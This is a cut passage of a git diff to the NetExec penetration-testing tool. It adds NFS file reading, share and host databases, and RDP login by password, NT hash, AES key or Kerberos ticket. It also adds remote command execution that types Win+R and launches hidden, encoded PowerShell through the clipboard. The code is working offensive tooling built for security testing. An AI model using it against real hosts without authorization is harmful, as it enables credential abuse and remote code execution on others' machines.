0 + eof = False + while not eof: + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) + + if "resfail" in file_data: + self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}") + return + + else: + # Get the data and append it to the total file data + data = file_data["resok"]["data"] + eof = file_data["resok"]["eof"] + + # Update the offset to read the next chunk + offset += len(data) + # Write the file data to the local file + buf.write(data) + + try: + for line in buf.getvalue().decode().splitlines(): + self.logger.highlight(line) + except UnicodeDecodeError as e: + self.logger.fail(f"File is not in UTF-8: {e}") + def print_directory(self, content, path): """ Highlight log the content of the directory provided by a READDIRPLUS call. diff --git a/nxc/protocols/nfs/database.py b/nxc/protocols/nfs/database.py index f367b673f4..e68d58773b 100644 --- a/nxc/protocols/nfs/database.py +++ b/nxc/protocols/nfs/database.py @@ -1,8 +1,9 @@ -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base - from nxc.database import BaseDB +from nxc.logger import nxc_logger Base = declarative_base() @@ -32,9 +33,12 @@ class Host(Base): ip = Column(String) hostname = Column(String) port = Column(Integer) + nfs_version = Column(String) + root_escape = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), + UniqueConstraint("ip"), ) class LoggedInRelation(Base): @@ -52,12 +56,17 @@ class LoggedInRelation(Base): class Share(Base): __tablename__ = "shares" id = Column(Integer) - lir_id = Column(Integer) - data = Column(String) + host = Column(String) + read_perm = Column(Boolean) + write_perm = Column(Boolean) + exec_perm = Column(Boolean) + storage = Column(String) + share = Column(String) + access = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), - ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]), + UniqueConstraint("host", "share"), ) @staticmethod @@ -69,3 +78,104 @@ def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.SharesTable = self.reflect_table(self.Share) + + def get_hosts(self, filter_term=None, domain=None): + """Return hosts from the database.""" + q = select(self.HostsTable) + results = self.db_execute(q).all() + nxc_logger.debug(f"NFS hosts() - results: {results}") + return results + + def add_host(self, ip, hostname, port, nfs_version, root_escape): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "port": port, + "nfs_version": str(nfs_version), + "root_escape": root_escape + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if port is not None: + host_data["port"] = port + if nfs_version is not None: + host_data["nfs_version"] = str(nfs_version) + if root_escape is not None: + host_data["root_escape"] = root_escape + + # only add host to be updated if it has changed + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids + + def add_share(self, host, permission, storage, share, access): + """Check if this share is already in the DB, if not add it.""" + read_perm, write_perm, exec_perm = permission + used, _, total = storage + storage_str = f"{used} / {total}" + access_str = ", ".join(access) if access else "" + + new_share = { + "host": host, + "read_perm": read_perm, + "write_perm": write_perm, + "exec_perm": exec_perm, + "storage": storage_str, + "share": share, + "access": access_str, + } + + self.db_execute( + Insert(self.SharesTable).on_conflict_do_nothing(), + new_share, + ) + + def get_shares(self, filter_term=None): + """Return shares from the database, optionally filtered by host or share path.""" + if self.is_share_valid(filter_term): + q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term) + elif filter_term: + like_term = func.lower(f"%{filter_term}%") + q = select(self.SharesTable).filter( + self.SharesTable.c.host.like(like_term) | self.SharesTable.c.share.like(like_term) + ) + else: + q = select(self.SharesTable) + return self.db_execute(q).all() + + def is_share_valid(self, share_id): + """Check if this share ID is valid.""" + q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id) + results = self.db_execute(q).all() + nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}") + return len(results) > 0 diff --git a/nxc/protocols/nfs/db_navigator.py b/nxc/protocols/nfs/db_navigator.py index c712309b97..1d3e214d29 100644 --- a/nxc/protocols/nfs/db_navigator.py +++ b/nxc/protocols/nfs/db_navigator.py @@ -1,4 +1,4 @@ -from nxc.nxcdb import DatabaseNavigator, print_help +from nxc.nxcdb import DatabaseNavigator, print_help, print_table, write_csv class navigator(DatabaseNavigator): @@ -13,3 +13,142 @@ def help_clear_database(self): YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) + + def do_hosts(self, line): + filter_term = line.strip() + + if filter_term == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + else: + hosts = self.db.get_hosts(filter_term=filter_term) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]] + host_id_list = [] + print(hosts) + for host in hosts: + host_id_list.append(host[0]) + data.append([host[0], host[1], host[2], host[3], host[4], host[5]]) + + print_table(data, title="Host(s)") + + def display_hosts(self, hosts): + data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]] + + for host in hosts: + host_id = host[0] + ip = host[1] + hostname = host[2] + port = host[3] + supported_version = host[4] + root_escape = host[5] + + data.append([host_id, ip, hostname, port, supported_version, root_escape]) + print_table(data, title="Hosts") + + def display_shares(self, shares): + """ + shares: list of rows (tuples) -> expects columns: + (id, host, read_perm, write_perm, exec_perm, storage, share, access) + """ + data = [["ID", "Host", "R", "W", "X", "Storage", "Share", "Access"]] + for row in shares: + ( + sid, host, r, w, x, + storage_str, share_path, access_str + ) = row + data.append([ + sid, host, + "True" if r else "False", + "True" if w else "False", + "True" if x else "False", + storage_str, + share_path, + access_str, + ]) + print_table(data, title="Shares") + + def do_shares(self, line): + filter_term = line.strip() or None + shares = self.db.get_shares(filter_term=filter_term) + + if shares: + self.display_shares(shares) + else: + print("No shares found.") + + def help_shares(self): + help_string = """ + shares [host_filter] + Lists all shares. Optionally filters by host substring. + Columns: + ID, Host, Read (True/False), Write, Execute, Storage ("used / total"), Share path, Access list + """ + print_help(help_string) + + def do_export(self, line): + if not line: + print("[-] not enough arguments") + return + line = line.split() + command = line[0].lower() + + if command == "hosts": + if len(line) < 2: + print("[-] invalid arguments, export hosts ") + return + filename = line[2] + hosts = self.db.get_hosts() + csv_header = ("id", "ip", "hostname", "port", "version", "root_escape") + write_csv(filename, csv_header, hosts) + print("[+] NFS hosts exported") + elif command == "shares": + if len(line) < 3: + print("[-] invalid arguments, export shares ") + return + + filename = line[2] + mode = line[1].lower() + shares = self.db.get_shares() + + if mode == "simple": + csv_header = ("id", "host", "read", "write", "exec", "storage", "share", "access") + write_csv(filename, csv_header, shares) + print("[+] NFS shares exported") + elif mode == "detailed": + csv_header = ("id", "host", "version", "read", "write", "exec", "storage", "share", "access") + # hosts columns: (id, ip, hostname, port, nfs_version, root_escape) + version_by_ip = {host[1]: host[4] for host in self.db.get_hosts()} + formatted = [] + for row in shares: + entry = ( + row[0], # id + row[1], # host + version_by_ip.get(row[1], ""), # nfs_version + row[2], # read + row[3], # write + row[4], # exec + row[5], # storage + row[6], # share + row[7], # access + ) + formatted.append(entry) + write_csv(filename, csv_header, formatted) + print("[+] NFS shares exported") + else: + print(f"[-] No such export option: {line[1]}") + else: + print(f"[-] Export command '{command}' is not supported for NFS. Supported: hosts, shares") + + def help_export(self): + help_string = """ + export hosts + exports: id, ip, hostname, port, version, root_escape + export shares + simple - exports: id, host, read, write, exec, storage, share, access + detailed - exports: id, host, version, read, write, exec, storage, share, access + """ + print_help(help_string) diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 0de9f76d3e..bde9b22231 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -8,6 +8,7 @@ def proto_args(parser, parents): dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") + dgroup.add_argument("--cat", metavar="FILE", help="Display the contents of an NFS file. Example: --cat /path/to/file") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index a53a3adc13..9f4bad56f7 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -1,19 +1,24 @@ import asyncio +import base64 +import copy import contextlib from datetime import datetime -import os from os import getenv +from uuid import uuid4 +from anyio import Path from termcolor import colored from impacket.krb5.ccache import CCache from nxc.connection import connection +from nxc.helpers.misc import sanitize_dns +from nxc.helpers.path import sanitize_path_component from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter from nxc.config import host_info_colors, process_secret from nxc.paths import NXC_PATH -from aardwolf.connection import RDPConnection +from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED from aardwolf.commons.queuedata.constants import VIDEO_FORMAT from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE from aardwolf.commons.iosettings import RDPIOSettings @@ -114,19 +119,28 @@ def print_host_info(self): except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") + def _create_rdp_connection(self, credentials, supported_protocols=None): + iosettings = self.iosettings.clone_for_connection() + # Explicit protocols are used by discovery and screenshot fallbacks. + # Authenticated connections leave this unset so aardwolf selects the + # X224 flags appropriate for the credential type. + iosettings.supported_protocols = supported_protocols + return RDPConnection( + iosettings=iosettings, + target=copy.deepcopy(self.target), + credentials=copy.deepcopy(credentials), + ) + def create_conn_obj(self): - self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) + self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) asyncio.run(self.check_nla()) for proto in reversed(self.protoflags): try: - self.iosettings.supported_protocols = proto - self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=self.auth, + self.conn = self._create_rdp_connection( + self.auth, supported_protocols=proto ) asyncio.run(self.connect_rdp_with_cleanup()) except OSError as e: @@ -141,9 +155,9 @@ def create_conn_obj(self): except Exception: pass else: - self.domain = info_domain["dnsdomainname"] - self.hostname = info_domain["computername"] - self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) + self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger) + self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger) + self.server_os = f"{info_domain.get('os_guess', 'Unknown')} Build {info_domain.get('os_build', 'Unknown')}" self.logger.extra["hostname"] = self.hostname break @@ -166,18 +180,19 @@ def create_conn_obj(self): domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout, + unsafe_ssl=True, ) + # Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it + self.iosettings.supported_protocols = None + return True async def check_nla(self): self.logger.debug(f"Checking NLA for {self.host}") try: - self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL - self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=None, + self.conn = self._create_rdp_connection( + None, supported_protocols=SUPP_PROTOCOLS.SSL ) packetizer = TPKTPacketizer() client = UniClient(self.target, packetizer) @@ -191,17 +206,17 @@ async def check_nla(self): except Exception: pass - async def connect_rdp(self): + async def connect_rdp(self, auth_only=False): """Connect to the RDP server. Does NOT clean up on exit. - Use this when the caller needs the connection alive after connecting - (screen, nla_screen, execute_shell). For sync callers that only need to - know whether authentication succeeded and want guaranteed cleanup, use - connect_rdp_with_cleanup() instead. + When auth_only is True, performs only CredSSP/NLA authentication + without establishing a full RDP session. This verifies credentials + without creating a disconnected session on single-session hosts. """ - _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout) + _, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout) if err is not None: raise err + self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}") async def terminate_conn(self): """Terminate the RDP connection with a timeout so cleanup doesn't hang.""" @@ -209,13 +224,37 @@ async def terminate_conn(self): with contextlib.suppress(Exception): await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout) - async def connect_rdp_with_cleanup(self): + async def connect_rdp_with_cleanup(self, auth_only=False): """Connect to the RDP server and always terminate the connection on exit""" + try: + await self.connect_rdp(auth_only=auth_only) + finally: + await self.terminate_conn() + + async def login_and_confirm(self): + """Connect and return whether a real session opened (Save Session Info PDU), always cleaning up. + + That PDU never comes when access is authorized but the logon is refused (restricted admin). + """ try: await self.connect_rdp() + try: + await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout) + return True + except TimeoutError: + self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)") + return False finally: await self.terminate_conn() + def rdp_access_denied(self): + """Whether the Early User Authorization Result PDU says the account has no RDP access right at all. + + Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU. + """ + self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}") + return self.conn.authz_result == AUTHZ_ACCESS_DENIED + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: lmhash = "" @@ -232,8 +271,6 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if nthash: self.nthash = nthash - kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" - self.hostname + "." + self.domain password = password if password else nthash @@ -247,8 +284,14 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] username = ticketCreds["client"].prettyPrint().decode().split("@")[0] + elif aesKey: + stype = asyauthSecret.AES + password = aesKey else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT + password = password if password else nthash + + kerb_pass = password kerberos_target = UniTarget( self.kdcHost, @@ -268,10 +311,22 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", domain=domain, stype=stype, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.conn = self._create_rdp_connection(self.auth) + if self._execution_pending(): + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) + else: + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success( "{}\\{}{} {}".format( domain, @@ -299,8 +354,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) - elif "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") + elif self.rdp_access_denied(): + self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True elif "No such file" in str(e): self.logger.fail(e) else: @@ -316,6 +374,10 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", ) return False + def _execution_pending(self): + """Check if command execution will follow authentication.""" + return bool(self.args.execute or self.args.ps_execute) + def plaintext_login(self, domain, username, password): try: self.auth = NTLMCredential( @@ -324,10 +386,22 @@ def plaintext_login(self, domain, username, password): domain=domain, stype=asyauthSecret.PASS, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.conn = self._create_rdp_connection(self.auth) + if self._execution_pending(): + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) + else: + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) @@ -335,8 +409,11 @@ def plaintext_login(self, domain, username, password): add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: - if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") + if self.rdp_access_denied(): + self.logger.success(f"{domain}\\{username}:{process_secret(password)}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True else: reason = None for word in self.rdp_error_status: @@ -358,10 +435,22 @@ def hash_login(self, domain, username, ntlm_hash): domain=domain, stype=asyauthSecret.NT, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.conn = self._create_rdp_connection(self.auth) + if self._execution_pending(): + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) + else: + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) @@ -369,8 +458,11 @@ def hash_login(self, domain, username, ntlm_hash): add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: - if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") + if self.rdp_access_denied(): + self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True else: reason = None for word in self.rdp_error_status: @@ -388,10 +480,11 @@ def hash_login(self, domain, username, ntlm_hash): async def _send_keystrokes(self, text, delay=0.02): """Helper method to send keystrokes to the RDP session""" for char in text: - key_event = RDP_KEYBOARD_UNICODE() - key_event.char = char - key_event.is_pressed = True - await self.conn.ext_in_queue.put(key_event) + for is_pressed in (True, False): + key_event = RDP_KEYBOARD_UNICODE() + key_event.char = char + key_event.is_pressed = is_pressed + await self.conn.ext_in_queue.put(key_event) await asyncio.sleep(delay) async def _send_enter(self): @@ -400,145 +493,242 @@ async def _send_enter(self): await asyncio.sleep(0.05) await self.conn.send_key_virtualkey("VK_RETURN", False, False) + async def _send_shortcut(self, modifier, key): + layout = KeyboardLayoutManager().get_layout_by_shortname("enus") + modifier_scancode = layout.vk_to_scancode(modifier) + key_scancode = layout.char_to_scancode(key)[0] + + await self.conn.send_key_scancode(modifier_scancode, True, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(key_scancode, True, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(key_scancode, False, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(modifier_scancode, False, False) + async def _send_win_r(self): """Helper method to send Windows+R key combination to open Run dialog""" + self.logger.debug("Sending Win+R using scancode method") + for _ in range(2): + _, err = await self.conn.send_focus_in() + if err is not None: + raise err + await self._send_shortcut("VK_LWIN", "r") + await asyncio.sleep(0.5) + + @staticmethod + def _build_execution_command(payload, shell_type, marker, get_output): + if not get_output: + if shell_type == "cmd": + return f"cmd.exe /d /s /c {payload}" + if shell_type == "powershell": + return ( + "powershell.exe -NoLogo -NoProfile -NonInteractive " + f"-WindowStyle Hidden -Command {payload}" + ) + raise ValueError(f"Unsupported shell type: {shell_type}") + + payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii") + decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))" + + if shell_type == "cmd": + invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1" + elif shell_type == "powershell": + invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1" + else: + raise ValueError(f"Unsupported shell type: {shell_type}") + + start_marker = f"__NXC_RDP_START_{marker}__" + end_marker = f"__NXC_RDP_END_{marker}__" + script = f""" +$ErrorActionPreference = 'Continue' +{decode_payload} +try {{ + {invoke_command} + $succeeded = $? + $nativeExitCode = $LASTEXITCODE +}} catch {{ + $output = $_ + $succeeded = $false + $nativeExitCode = $null +}} +$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }} +$outputText = ($output | Out-String -Width 4096).TrimEnd() +$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine +Add-Type -AssemblyName System.Windows.Forms +[System.Windows.Forms.Clipboard]::SetText($result) +""" + + encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii") + return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}" + + @staticmethod + def _parse_execution_result(clipboard_text, marker): + start_marker = f"__NXC_RDP_START_{marker}__" + end_marker = f"__NXC_RDP_END_{marker}__" + normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00") + + start_index = normalized.find(start_marker) + end_index = normalized.find(end_marker, start_index + len(start_marker)) + if start_index == -1 or end_index == -1: + return None + + body = normalized[start_index + len(start_marker):end_index].lstrip("\n") + exit_code_text, separator, output = body.partition("\n") + if not separator: + return None + try: - self.logger.debug("Sending Win+R using scancode method") + exit_code = int(exit_code_text.strip()) + except ValueError: + return None + return exit_code, output.rstrip("\n") - layout = KeyboardLayoutManager().get_layout_by_shortname("enus") + async def _wait_for_event(self, event_names, max_wait): + loop = asyncio.get_running_loop() + deadline = loop.time() + max_wait - win_scancode = layout.vk_to_scancode("VK_LWIN") - await self.conn.send_key_scancode(win_scancode, True, False) - await asyncio.sleep(0.1) + while True: + if self.conn.disconnected_evt.is_set(): + raise ConnectionError("RDP connection was terminated") - r_scancode = layout.char_to_scancode("r")[0] - await self.conn.send_key_scancode(r_scancode, True, False) - await asyncio.sleep(0.1) + remaining = deadline - loop.time() + if remaining <= 0: + raise TimeoutError - await self.conn.send_key_scancode(r_scancode, False, False) - await asyncio.sleep(0.1) + data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining) + if data is None: + raise ConnectionError("RDP connection was terminated") - await self.conn.send_key_scancode(win_scancode, False, False) + event_name = getattr(getattr(data, "type", None), "name", None) + if event_name in event_names: + return data - await asyncio.sleep(0.5) + async def _wait_for_desktop(self): + loop = asyncio.get_running_loop() + started_at = loop.time() - self.logger.debug("Win+R sent successfully") - return True - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") - self.logger.fail("Connection was reset by the remote host") - return False - except Exception as e: - self.logger.debug(f"Error sending Win+R: {e!s}") - self.logger.debug("Using fallback approach for opening command prompt") - return False + if not self.conn.desktop_buffer_has_data: + try: + await self._wait_for_event({"VIDEO"}, self.args.cmd_delay) + except TimeoutError: + self.logger.debug("No desktop update received before command execution; continuing") + + remaining_delay = self.args.cmd_delay - (loop.time() - started_at) + if remaining_delay > 0: + await asyncio.sleep(remaining_delay) + + async def _submit_run_command(self, command): + await self._send_win_r() + await self.conn.set_current_clipboard_text(command) + # server must acknowledge our clipboard data before we trigger the read + response = await self._wait_for_event( + {"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay + ) + if not response.accepted: + raise RuntimeError( + "Remote session rejected the clipboard command data" + ) + # type a one-liner that reads and executes the clipboard we just set + # uses .NET WinForms API instead of Get-Clipboard (which requires PS5+) + await self._send_keystrokes( + "powershell.exe -NoLogo -NoProfile -NonInteractive -STA " + '-WindowStyle Hidden -Command "Add-Type -AssemblyName ' + "System.Windows.Forms; Invoke-Expression " + '([System.Windows.Forms.Clipboard]::GetText())"' + ) + await self._send_enter() + + async def _submit_typed_run_command(self, command): + await self._send_win_r() + await self._send_keystrokes(command, delay=0.005) + await self._send_enter() + + async def _wait_for_command_result(self, marker): + loop = asyncio.get_running_loop() + deadline = loop.time() + self.args.clipboard_delay + + while True: + remaining = deadline - loop.time() + if remaining <= 0: + raise TimeoutError + + data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining) + result = self._parse_execution_result(data.data, marker) + if result is not None: + return result async def execute_shell(self, payload, get_output, shell_type): - # Append | clip to send output to clipboard - if shell_type == "cmd": - payload_with_clip = f"{payload} | clip & exit" - elif shell_type == "powershell": - payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit" - else: - self.logger.fail(f"Unsupported shell type: {shell_type}") - return None - self.logger.debug(f"Executing command: {payload_with_clip}") + marker = uuid4().hex if get_output else None + command = self._build_execution_command( + payload, shell_type, marker, get_output + ) + self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}") try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") + if "CredSSP" in str(e) or "STATUS_LOGON" in str(e): + self.logger.fail(f"Authentication failed: {e!s}") + await self.terminate_conn() return None try: if get_output: self.logger.success("Waiting for clipboard to be ready...") - clipboard_ready = False - await asyncio.sleep(self.args.cmd_delay) - - timeout_counter = 0 - while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds - try: - data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1) - if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY": - clipboard_ready = True - self.logger.debug("Clipboard is ready!") - break - except asyncio.TimeoutError: - timeout_counter += 1 - continue - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") - self.logger.fail("Connection was reset by the remote host") - return "" - except Exception as e: - self.logger.debug(f"Error waiting for clipboard: {e!s}") - self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved") - return "" - - if not clipboard_ready: + try: + await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay) + except TimeoutError: self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") - return "" + return None - # Wait for desktop to be available - await asyncio.sleep(self.args.cmd_delay) + await self._wait_for_desktop() - try: - # Try to open Run dialog using Windows+R - self.logger.debug("Attempting to open Run dialog") - win_r_success = await self._send_win_r() - - if win_r_success: - self.logger.debug(f"Launching {shell_type} via Run dialog") - await self._send_keystrokes(f"{shell_type}.exe") - await self._send_enter() - await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open - else: - # Fallback: Try direct command typing (assumes cmd may already be open) - self.logger.debug(f"Sending {shell_type} command directly") - await self._send_keystrokes(f"{shell_type}.exe") - await self._send_enter() - await asyncio.sleep(self.args.cmd_delay) - - # Type the command with | clip - self.logger.debug(f"Typing command: {payload_with_clip}") - await self._send_keystrokes(payload_with_clip) - await self._send_enter() - - # Wait for command to 